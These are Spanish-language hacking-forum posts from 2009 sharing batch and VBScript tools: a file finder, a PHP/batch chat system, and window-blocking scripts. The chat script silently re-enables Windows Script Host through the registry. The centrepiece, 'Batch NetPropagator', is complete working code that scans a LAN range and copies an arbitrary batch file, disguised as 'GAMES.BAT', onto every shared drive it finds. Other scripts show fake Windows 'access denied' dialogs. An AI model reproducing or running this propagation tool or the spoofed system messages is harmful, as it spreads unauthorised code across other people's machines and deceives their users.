Private Function FindFiles (IFolder)
With FSO.GetFolder(IFolder)
For Each Fil in .Files
If InStr(1, UCASE(Fil.Name), UCASE(Archivo)) <> 0 Then
WSCript.Echo " " & Chr(4) & " Archivo: " & Fil
End If
Next
End With
End Function
Private Function FindFolder(IFolder)
With FSO.GetFolder(IFolder)
For Each Fol in .SubFolders
If InStr(1, UCASE(Fol.Name), UCASE(Archivo)) <> 0 Then
WSCript.Echo " " & Chr(4) & " Carpeta: " & Fol
End If
FindFiles (Fol)
FindFolder (Fol)
Next
End With
End Function
Private Function DirB()
Do
WSCript.StdOut.Write "   Ruta Carpeta Donde Buscar: "
X = WSCript.StdIn.ReadLine
If FSO.FolderExists(X) = True Then
DirB = X
Exit Do
Else
MsgBox "La Ruta que ingreso es Invalida  ", VbCritical, ".::FindFiles And Folders BY 3D1::."
End If
Loop
End Function
Private Function FileB()
WSCript.StdOut.Write "   Archivo/Carpeta a Buscar: "
FileB = WSCript.StdIn.ReadLine
End Function

Comenten  =D, Funciona usando el Interprete de comandos de windows osea Cmd, lo abren y escriben "CSCript //nologo RutaDelScript.vbs"
Y listo..
Espero sus opiniones   ;-)

SaluDOS!!!
#31
Enviar y recibir correos via Batch

Originalmente Posteado en CPH, decidi compartilo aqui tambien...

Cada cierto tiempo siempre sale la misma pregunta, asi que el proposito de este post es..
Terminar con esas preguntas.., aqui expondre maneras de enviar o mejor dicho crear nuestro servidor de mails..
Ok, para los que lo adivinaron, con algo de Scripts VBS, el que se sabe otra manera bien por el..
Una manera de hacerlo es por FTP pero tendrias que exponer tu password en code abierto..
Algo muy malo  :-[ por que darias tu pass..

El metodo es sencillo..:
Comenzamos por crearnos un servidor de correos..  ;D

Paso 1
Usamos un sitio web de miarroba (Es el unico que conozco bien..)
Creamos un Sitio si no tenemos..
Nos vamos a "Administrar" de nuestro sitio..
Luego nos vamos a "Preferencias" y ahi activamos todo lo que diga PHP, incluyendo control de errores..

Paso 2
Creamos un PHP con el siguiente code (En nuestro sitioweb):
Código (php) [Seleccionar]
<?php
$id
=$_GET['mail'];
$master=fopen('mail.txt',a);
fwrite($master,"
"
.$id);
fclose($master);
?>

Yo lo guardo como "mail.php" para mas comodidad..

Hasta aqui ya creamos nuestro servidor de correos..
Ahora es solo añadir dos Code a nuestro Batch, 1 para leer los Mail y otro para enviar mails..

Enviar mail
Para enviar mail solo agregar este code ha su Batch:
Código (dos) [Seleccionar]
(
echo URLSend = wscript.arguments(0^)
echo MSG = wscript.arguments(1^)
echo Set SendMail = CreateObject("InternetExplorer.Application"^)
echo SendMail.Navigate URLSend ^& MSG
echo.
echo Do While SendMail.ReadyState ^<^> 4
echo wscript.sleep 50
echo Loop
)>Mail.vbs

Este es el code que genera el Script que enviara los datos al servidor..
Para llamarlo es facil lo hacemos con un:
Código (dos) [Seleccionar]
CScript //nologo Mail.Vbs "http://[www].webcindario.com/[PHP].php?mail=" "Mensaje ha Enviar"
El [PHP] debe venir el nombre del PHP como le pusieron por ejemplo si le pusiron mail.php debe ser asi el code:
Código (dos) [Seleccionar]
CScript //nologo Mail.Vbs "http://[www].webcindario.com/mail.php?mail=" "Mensaje ha Enviar"
Con eso enviamos un mensaje a nuestro server, quien creara un archivo llamado "mail.txt"
Que contendra los mensajes que le enviemos..
Si quieren ver sus mensajes recibidos desde el IExplorer lo hacen asi:
Código (dos) [Seleccionar]
http://[www].webcindario.com/mail.txt
Esto fue para enviar un mensaje a nuestro servidor..
Ahora..,

Leer Mails
Bien pues aqui tambien debemos de añadir este code a nuestro Batch..
Que es el encargado de leer los mails recibidos en el servidor..
Código (dos) [Seleccionar]
(
echo Set ReadMail = CreateObject("Microsoft.XMLHTTP"^)
echo URLRead = wscript.arguments(0^)
echo ReadMail.Open "Get", URLRead
echo ReadMail.Send
echo Do While ReadMail.ReadyState ^<^> 4
echo wscript.sleep 50
echo Loop
echo wscript.Echo ReadMail.ResponseText
)>Mail.vbs

Ahora para leer con el Batch nuestros mails recibidos ejecutamos el Script de la siguiente manera:
Código (dos) [Seleccionar]
CScript //nologo Mail.Vbs "http://[www].webcindario.com/mail.txt"
El metodo es sencillo, bueno espero.., disculpen si parace que lo escribi rapido o algo asi..
es que me entro sueño y no puedo mas.., mañana o cuando pueda posteo una aplicacion Chat
que casi esta terminada atraves de este metodo.., espero les guste y le hayan entendido, cualquier duda posteen..  ;)

EDIT:
ChatBox - BY 3D1 (Por Fin la aplicacion Chat Terminada)
Aqui os mostrare con este ejemplo o mejor dicho una aplicacion ya terminada de Chat el uso de los Script Mensionados para enviar y recibir mensajes..
Solo aclarar donde nos pide "Servidor" debe de ser solo el nombre.., por ejemplo http://www.google.com nada mas sin aumentar "/" al final, solo asi..
Luego en Nick eso creo que no se debe de explicar..
Bueno sin nada mas que decir aqui el code:
Código (dos) [Seleccionar]
@echo off
title .:Cargando...:.
cls
reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
cls

if exist "screen.size" (goto :Cnt)
@mode con cols=14 lines=1
echo Existes>"screen.size"
Reg export HKCU\Console Backup.reg>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /t REG_SZ /d "Lucida Console" /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /t REG_DWORD /d 48 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /t REG_DWORD /d 600000 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /t REG_DWORD /d 700 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v ScreenBufferSize /t REG_DWORD /d 13107280 /f>nul
Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /t REG_DWORD /d 0 /f>nul
Ping -n 1 0.0.0.0 >nul 2>&1
start %comspec% /c %0
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /f>nul
Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /f>nul
Reg import Backup.reg>nul
Del /Q "screen.size">nul
Del /Q "Backup.reg">nul
exit

:Cnt
color 0A
@Echo Off
@Title .:: ChatBox BY 3D1 ::.
(
echo URLSend = wscript.arguments(0^)
echo MSG = wscript.arguments(1^)
echo Set SendMail = CreateObject("InternetExplorer.Application"^)
echo SendMail.Navigate URLSend ^& MSG
echo Do While SendMail.ReadyState ^<^> 4
echo wscript.sleep 50
echo Loop
)>%tmp%\SendMail.vbs
(
echo Set ReadMail = CreateObject("Microsoft.XMLHTTP"^)
echo URLRead = wscript.arguments(0^)
echo ReadMail.Open "Get", URLRead
echo ReadMail.Send
echo Do While ReadMail.ReadyState ^<^> 4
echo wscript.sleep 50
echo Loop
echo wscript.Echo ReadMail.ResponseText
)>%tmp%\ReadMail.vbs
Del /Q /F %tmp%\keyboard.dat
Del /Q /F %tmp%\key.exe
Del /Q /F %tmp%\AddKey.bat
set Dir=%cd%\
cd %tmp%\
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>%tmp%\keyboard.dat
echo type %tmp%\keyboard.dat^|debug>%tmp%\AddKey.bat
echo ren %tmp%\keyboard.dat key.exe>>%tmp%\AddKey.bat
start /MIN cmd /c %tmp%\AddKey.bat
Cd %Dir%
Set txt=HTTP://

Set frmuse=form
Set enter=formnick

Set spaces=                                                             ...-SPACES-...
CLs
Echo Please Wait...
Ping -n 2 0.0.0.0 >nul 2>&1
:form
Set serverbox=%txt%%spaces%
Set server=%txt%
Cls
echo.
echo.
echo   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo   º                                                                          º
echo   º En el siguiente cuadro de texto escriba el nombre del servidor con el..  º
echo   º Siguiente Formato:                                                       º
echo   º                                                                          º
echo   º                     Http://name.webcindario.com                          º
echo   º                                                                          º
echo   º Por defecto se usara el archivo mail.php en el server y, el archivo..    º
echo   º mail.txt en el server para leer los mails.                               º
echo   º                                                                          º
echo   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo                           ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo      NOMBRE DEL SERVIDOR: º%serverbox:~0,50%º
echo                           ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ECHO.
echo.
echo.
echo                  3D1-Copyright (C) 2009 - Derechos reservados
echo                  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
echo                             Hacking And Security
echo                             îîîîîîîîîîîîîîîîîîîî
:keyboard
%tmp%\KEY.exe
IF %ERRORLEVEL% == 65 (set txt=%TXT%A)
IF %ERRORLEVEL% == 66 (set txt=%TXT%B)
IF %ERRORLEVEL% == 67 (set txt=%TXT%C)
IF %ERRORLEVEL% == 68 (set txt=%TXT%D)
IF %ERRORLEVEL% == 69 (set txt=%TXT%E)
IF %ERRORLEVEL% == 70 (set txt=%TXT%F)
IF %ERRORLEVEL% == 71 (set txt=%TXT%G)
IF %ERRORLEVEL% == 72 (set txt=%TXT%H)
IF %ERRORLEVEL% == 73 (set txt=%TXT%I)
IF %ERRORLEVEL% == 74 (set txt=%TXT%J)
IF %ERRORLEVEL% == 75 (set txt=%TXT%K)
IF %ERRORLEVEL% == 76 (set txt=%TXT%L)
IF %ERRORLEVEL% == 77 (set txt=%TXT%M)
IF %ERRORLEVEL% == 78 (set txt=%TXT%N)
IF %ERRORLEVEL% == 79 (set txt=%TXT%O)
IF %ERRORLEVEL% == 80 (set txt=%TXT%P)
IF %ERRORLEVEL% == 81 (set txt=%TXT%Q)
IF %ERRORLEVEL% == 82 (set txt=%TXT%R)
IF %ERRORLEVEL% == 83 (set txt=%TXT%S)
IF %ERRORLEVEL% == 84 (set txt=%TXT%T)
IF %ERRORLEVEL% == 85 (set txt=%TXT%U)
IF %ERRORLEVEL% == 86 (set txt=%TXT%V)
IF %ERRORLEVEL% == 87 (set txt=%TXT%W)
IF %ERRORLEVEL% == 88 (set txt=%TXT%X)
IF %ERRORLEVEL% == 89 (set txt=%TXT%Y)
IF %ERRORLEVEL% == 90 (set txt=%TXT%Z)

IF %ERRORLEVEL% == 97 (set txt=%TXT%a)
IF %ERRORLEVEL% == 98 (set txt=%TXT%b)
IF %ERRORLEVEL% == 99 (set txt=%TXT%c)
IF %ERRORLEVEL% == 100 (set txt=%TXT%d)
IF %ERRORLEVEL% == 101 (set txt=%TXT%e)
IF %ERRORLEVEL% == 102 (set txt=%TXT%f)
IF %ERRORLEVEL% == 103 (set txt=%TXT%g)
IF %ERRORLEVEL% == 104 (set txt=%TXT%h)
IF %ERRORLEVEL% == 105 (set txt=%TXT%i)
IF %ERRORLEVEL% == 106 (set txt=%TXT%j)
IF %ERRORLEVEL% == 107 (set txt=%TXT%k)
IF %ERRORLEVEL% == 108 (set txt=%TXT%l)
IF %ERRORLEVEL% == 109 (set txt=%TXT%m)
IF %ERRORLEVEL% == 110 (set txt=%TXT%n)
IF %ERRORLEVEL% == 111 (set txt=%TXT%o)
IF %ERRORLEVEL% == 112 (set txt=%TXT%p)
IF %ERRORLEVEL% == 113 (set txt=%TXT%q)
IF %ERRORLEVEL% == 114 (set txt=%TXT%r)
IF %ERRORLEVEL% == 115 (set txt=%TXT%s)
IF %ERRORLEVEL% == 116 (set txt=%TXT%t)
IF %ERRORLEVEL% == 117 (set txt=%TXT%u)
IF %ERRORLEVEL% == 118 (set txt=%TXT%v)
IF %ERRORLEVEL% == 119 (set txt=%TXT%w)
IF %ERRORLEVEL% == 120 (set txt=%TXT%x)
IF %ERRORLEVEL% == 121 (set txt=%TXT%y)
IF %ERRORLEVEL% == 122 (set txt=%TXT%z)
IF %ERRORLEVEL% == 48 (set txt=%TXT%0)
IF %ERRORLEVEL% == 49 (set txt=%TXT%1)
IF %ERRORLEVEL% == 50 (set txt=%TXT%2)
IF %ERRORLEVEL% == 51 (set txt=%TXT%3)
IF %ERRORLEVEL% == 52 (set txt=%TXT%4)
IF %ERRORLEVEL% == 53 (set txt=%TXT%5)
IF %ERRORLEVEL% == 54 (set txt=%TXT%6)
IF %ERRORLEVEL% == 55 (set txt=%TXT%7)
IF %ERRORLEVEL% == 56 (set txt=%TXT%8)
IF %ERRORLEVEL% == 57 (set txt=%TXT%9)
IF %ERRORLEVEL% == 32 (set txt=%TXT% )
IF %ERRORLEVEL% == 63 (set txt=%TXT%?)
IF %ERRORLEVEL% == 61 (set txt=%TXT%=)
IF %ERRORLEVEL% == 47 (set txt=%TXT%/)
IF %ERRORLEVEL% == 58 (set txt=%TXT%:)
IF %ERRORLEVEL% == 95 (set txt=%TXT%_)
IF %ERRORLEVEL% == 45 (set txt=%TXT%-)
IF %ERRORLEVEL% == 46 (set txt=%TXT%.)
IF %ERRORLEVEL% == 27 (Exit)
IF %ERRORLEVEL% == 8 (SET TXT=<NUL&&set txt=%txt:~0,-1%)
IF %ERRORLEVEL% == 13 (Set "txt=" &Goto :%enter%)
Goto :%frmuse%
:formnick
IF "" == "%server%" (Goto :form)
IF "HTTP://" == "%server%" (Goto :form)
Set nickbox=%txt%%spaces%
Set enter=formchat
Set frmuse=formnick
Set "nick=%txt%"
Cls
echo.
echo.
echo.
echo                       ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo      ESCRIBE TU NICK: º%nickbox:~0,50%º
echo                       ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
for /l %%_ in (1 1 14) do (echo.)
echo                  3D1-Copyright (C) 2009 - Derechos reservados
echo                  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
echo                             Hacking And Security
echo                             îîîîîîîîîîîîîîîîîîîî
Goto :keyboard
:formchat
IF "" == "%nick%" (Goto :formnick)
Cls
echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
echo           CHATBOX: BY 3D1
echo              NICK: %nick%
echo    CONNECT SERVER: %server%
ECHO.
echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
CScript //nologo %tmp%\ReadMail.vbs "%server%/mail.txt"
echo.
echo.
echo.
echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
echo                   ÉÍÍÍÍÍÍÍ»                           ÉÍÍÍÍÍÍÍ»
echo  Actualizar Chat: º ENTER º      Escribir un mensaje: º  TAB  º
echo                   ÈÍÍÍÍÍÍͼ                           ÈÍÍÍÍÍÍͼ
echo.
echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
:keyy
%tmp%\KEY.exe
IF %ERRORLEVEL% == 13 (goto :formchat)
IF %ERRORLEVEL% == 9 (goto :formchattxt)
IF %ERRORLEVEL% == 27 (Exit)
goto :keyy
:formchattxt
Set enter=sendding
Set frmuse=formchattxt
set spacez=                                                                                  
Set sendtext=%txt%%spacez%%spacez%%spacez%%spacez%%spacez%%spacez%%spacez%%spacez%
Cls
echo.
ECHO        ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ECHO        º                                                            º
ECHO        º VERSION BETA: NO ESTAN AUN INCLUIDOS LOS EMOTIONS..        º
ECHO        º               USESE  :O XD :P, ETC..                       º
ECHO        º                                     ESC - Salir            º
ECHO        º                                   ENTER - Enviar           º
echo        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo        ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo        º%sendtext:~0,60%º
echo        º%sendtext:~60,60%º
echo        º%sendtext:~120,60%º
echo        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo                                                          ÉÍÍÍÍÍÍÍÍÍÍ»
echo                                                          º ENVIAR.. º
echo                                                          ÈÍÍÍÍÍÍÍÍÍͼ
echo.
echo                  3D1-Copyright (C) 2009 - Derechos reservados
echo                  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
echo                             Hacking And Security
echo                             îîîîîîîîîîîîîîîîîîîî
Goto :keyboard
:sendding
Cls
Echo Sendding Message...
echo Please Wait...
Set /p"=> ..."<nul
CScript //nologo %tmp%\SendMail.vbs "%server%/mail.php?mail=" "%nick% Dice:"
CScript //nologo %tmp%\SendMail.vbs "%server%/mail.php?mail=" "%sendtext%"
Goto :formchat

Por ser el estreno les dejo la URL de prueba y quisiera que todos los actualmente "Conectados" se conecten al TagBoard..
la direccion del Server es http://3d1.webcindario.com Conectense usando su Nick asi sabremos quienes son los espero...
como es la version beta algunos caracteres se excluyen asi que no podran usarlos por el momento...
SaluDOS!!!
#32
Batch NetPropagator 1.0 BY 3D1

Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...

Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene pequeños inconvenientes, pero no afectan en nada el funcionamiento..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:
Citar192.168.1.X
Entonces en el Batch se usara asi:
Citar192.168.001.X
Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..

Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea  ;D
Código (dos) [Seleccionar]
@Echo Off
@Title .:: Batch NetPropagator 1.0 BY 3D1 ::.
@Mode con cols=44 Lines=15
@Color 0A
If Exist Report.txt (Del /Q Report.txt>nul 2>&1)
If Exist Key.exe (Del /Q Key.exe >Nul 2>&1)
If Exist Keyboard.dat (Del /Q Keyboard.dat>nul 2>&1)
(
Echo ^(
echo Echo n keyboard.dat
echo Echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo Echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo Echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo Echo rcx
echo Echo 002E
echo Echo w0
echo Echo q
Echo ^)^|Debug
Echo Ren keyboard.dat Key.exe
Echo Del %%0
Echo Exit
)>AddK.bat
Start /MIN Cmd /c Addk.bat
CLS
Echo Please Wait...
Ping -n 2 0.0.0.0>nul 2>&1
Mode con cols=44 Lines=15
:new
Set "Txt="
Set "ips="
Set "ip="
Set /a uip=255
Set /a iip=0
Set Sp=                    ....
Set "ip0="
:form
Set "ipt=%ip0%%Sp%"
Set "ip1=%ipt:~0,3%"
Set "ip2=%ipt:~3,3%"
Set "ip3=%ipt:~6,3%"
Cls
Echo.
Echo.
Echo          ESCRIBA LA DIRECCION IP:
ECHO.
ECHO          ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ»
echo          º%ip1%º.º%ip2%º.º%ip3%º.º * º
Echo          ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ
echo.
echo.
echo.
echo  Copyright (3D1) 2009 - Derechos reservados
echo  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
echo            Hacking And Security
echo            îîîîîîîîîîîîîîîîîîîî
Key
IF %ERRORLEVEL% == 48 (set ip0=%ip0%0)
IF %ERRORLEVEL% == 49 (set ip0=%ip0%1)
IF %ERRORLEVEL% == 50 (set ip0=%ip0%2)
IF %ERRORLEVEL% == 51 (set ip0=%ip0%3)
IF %ERRORLEVEL% == 52 (set ip0=%ip0%4)
IF %ERRORLEVEL% == 53 (set ip0=%ip0%5)
IF %ERRORLEVEL% == 54 (set ip0=%ip0%6)
IF %ERRORLEVEL% == 55 (set ip0=%ip0%7)
IF %ERRORLEVEL% == 56 (set ip0=%ip0%8)
IF %ERRORLEVEL% == 57 (set ip0=%ip0%9)
IF %ERRORLEVEL% == 27 (Exit)
IF %ERRORLEVEL% == 13 (Set ip=%ip1%.%ip2%.%ip3%&CLS&Goto :Code)
IF %ERRORLEVEL% == 8 (SET ip0=<NUL&&set ip0=%ip0:~0,-1%)
Goto :form
:Code
Mode Con Cols=80 Lines=25

Set "nameb=GAMES.BAT"

If Exist "%nameb%" (Del /Q "%nameb%" >nul 2>&1)
CLS
Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ  Batch NetPropagator 1.0 BY 3D1 [BETA]
Echo.
Echo       Escriba o pegue el codigo fuente del batch que se copiara a los..
Echo       Archivos compartidos de los Equipos de su Red..
Echo.
Echo       Para Terminar presione [Ctrl + Z]+[Enter]
Echo       Nombre Predeterminado  [GAMES.bat]
Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Copy Con "%nameb%" >nul 2>&1
If Not Exist "%nameb%" (Goto :Code)
Echo.
Set /P"=> Estas Seguro que deseas Guardar el Code? [Y/N]"<nul
:stas
Key
if "%errorlevel%" == "121" (Goto :Bucle)
if "%errorlevel%" == "89" (Goto :Bucle)
if "%errorlevel%" == "110" (Goto :Code)
if "%errorlevel%" == "78" (Goto :Code)
Goto :stas
:Bucle
Mode con cols=45 Lines=16
Cls
ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT
Set /p state=<STATEIP.DAT
If Exist STATEIP.DAT (Del /Q STATEIP.DAT>nul 2>&1)
If "%state%" == "    (0%% perdidos)," (Echo Conect to: %ip%.%iip%&Echo Conect to: %ip%.%iip%>>Report.txt&Set "ips=%ip%.%iip%"&Call :netview)
If "%iip%" NEQ "%uip%" (
Set /a iip=%iip%+1
Goto :Bucle
)
If Exist Report.txt (Start Notepad Report.txt)
Echo.
Set /p"=>Presione Tecla para Salir [KEY]"<nul
Pause>nul
Goto :Eof

:netview
If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
For /f "Tokens=*" %%_ in ('Net View \\%ips% 2^>^&1^|Find "Disco"') do (
for %%A in (%%_) do (
if "%%A" NEQ "Disco" (
Set /p=%%A >>GetFileName.dat<nul
Ping -n 0 0.0.0.0>nul
)
)
Call :add
)
Goto :eof
:add
Set /p F=<GetFileName.dat
If Exist "\\%ips%\%F% " (
Echo  + Copy To : %F%
Copy "%nameb%" "\\%ips%\%F:~0,-1%" >nul 2>&1
Echo  + Copy To : %F%>>Report.txt
) ELSE (
Echo  - Copy Not: %F%
Echo  - Copy Not: %F%>>Report.txt
)
If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
Goto :eof

El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.255 y la verdad es rapido.. ;)
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..

Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!!   ::)
#33
Esto se me ocurrio en un momento de aburrimiento pero al seguir con el code vi lo que podia hacer..
este code lo que hace es buscar la ventana abierta y cerrarla en ese mismo instante y mostrar un mensaje acceso denegado, eso pueden modificarlo ustedes..
lo de poner password para ver una carpeta lo pongo luego...
este es el code:
EDIT:
Denegacion de acceso a una carpeta y/o archivo..
Código (vb) [Seleccionar]
Set obj=CreateObject("wscript.shell")
do while x=0
if time="00:00:00" then
x=1
wscript.Quit
else
if obj.AppActivate("MSN") = True then
obj.SendKeys "%{F4}"
msgbox "No tiene permiso para abrir el archivo, Archivo protegido contra lectura    " & vbNewLine & vbNewLine & "Acceso denegado.", VbCritical, "Microsoft Windows XP"
end if
end if
wscript.sleep 100
loop

Solo cambian MSN por el nombre de la carpeta o archivo que se debe de cerrar aqui todas las carpetas o archivos que contengan el nombre MSN se cierran
osea les manda Alt+f4 y muestra un mensaje eso lo pueden modificar a su gusto..
por si comenten un error le puse para que puedan ponerle asta que hora estara activa la proteccion expresado en HH:MM:SS y luego deja de funcionar la proteccion..
Espero les guste sobre todo si no quieren que vean alguna carpeta suya o les abran un archivo..

Denegacion de acceso a una carpeta y/o archivo usando una  password
Aqui esta como prometi..
Código (VB) [Seleccionar]
set obj=CreateObject("wscript.shell")
msg = "No estas autorizado para ver y/o usar este archivo o carpeta..   "
msg = msg & VbNewLine & "¿Deseas Desbloquear Archivo?"
do while x = 0
if obj.appactivate("xxx") = true then
obj.SendKeys "%{F4}"
obj.Exec "wscript " & wscript.scriptname
y = msgbox (msg, VbCritical + VbOkCancel, ".:: ScrinptingSecurity Loocked v1.0 BY 3D1 ::.")
if y = VbOk then
w = InputBox ("Escribe la Password de Acceso al archivo:", ".:: ScrinptingSecurity Loocked v1.0 BY 3D1 ::.")
if w = "1234" then
Obj.Run "Taskkill /f /im wscript.exe", VbHide
else
msgbox "NOTA: Intentos no Autorizados son reportados.. ", VbInformation, ".:: ScrinptingSecurity Loocked v1.0 BY 3D1 ::."
wscript.Quit
end if
else
wscript.Quit
end if
wscript.sleep 100
end if
loop

Solo reemplazar "FIND WINDOW" por el nombre del titulo de las ventanas que se va a denegar el acceso..
luego reemplazar "CONTRASEÑA" por la contraseña ha usar para desactivar la proteccion..

Congelar una ventana (Por el momento en pruebas)
En pruebas por que estoy con la pc fregada solo puedo entrar en modo a prueba de fallos asi que no puedo abrir todos los programas, les pido que lo prueben con conversacion del MSN haber si sale..
pero con las ventanas de las carpetas Block de Notas, etc funciona muy bien..
El code es asi:
Código (vb) [Seleccionar]
set obj=CreateObject("wscript.shell")
x = 0
y = 0
do while x = 0
if obj.appactivate("WINDOW") = true then
do while y = 0
obj.appactivate "WINDOW"
obj.run "cmd /c taskkill /f /im wscript.exe", vbHide
msgbox ""
loop
end if
wscript.sleep 100
loop

Solo reemplazar WINDOW por la ventana a congelar..
